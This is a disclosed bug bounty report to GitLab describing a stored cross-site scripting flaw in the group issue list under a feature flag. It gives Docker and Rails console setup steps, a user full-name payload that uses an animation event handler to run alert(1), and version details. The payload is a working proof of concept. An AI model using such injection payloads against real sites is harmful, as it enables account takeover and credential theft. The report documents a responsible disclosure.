GitLab · Report #859333
Stored XSS in group issue list
Validstatus
mediumseverity
$2,000bounty
27upvotes
21 Nov 2020disclosed
How it was found
Hello Gitlab!
To reproduce the bug, we need to enable the "vue_issuables_list" feature in Gitlab. This feature is not enabled by default, but I think it would be better to fix this issue before this feature is permanently available.
Steps to reproduce:
- Run Gitlab
docker run --detach --hostname gitlab.example.com --publish 443:443 --publish 80:80 --publish 22:22 --name gitlab gitlab/gitlab-ce:latest - Enable the "vue_issuables_list" feature
- Connect to the GitLab container:
docker exec -it gitlab /bin/bash - Start a session on GitLab Rails console (in the container):
gitlab-rails console - Once the Rails console session has started, run:
Feature.enable(:vue_issuables_list)
- Connect to the GitLab container:
- Go to the profile settings and set the full name:
foo style=animation-name:gl-spinner-rotate onanimationend=alert(1){F803617} - Create a group and create a project in this group
- Create an issue in the project
- Go to the group issue list {F803618} {F803619}
My GitLab version
root@gitlab:/# gitlab-rake gitlab:env:info
System information
System:
Current User: git
Using RVM: no
Ruby Version: 2.6.5p114
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.7
Git Version: 2.26.2
Sidekiq Version:5.2.7
Go Version: unknown
GitLab information
Version: 12.10.1
Revision: e658772bd63
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.7
URL: http://gitlab.example.com
HTTP Clone URL: http://gitlab.example.com/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 12.2.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
An attacker can:
- Perform any action within the application that a user can perform
- Steal sensitive user data
- Steal user's credentials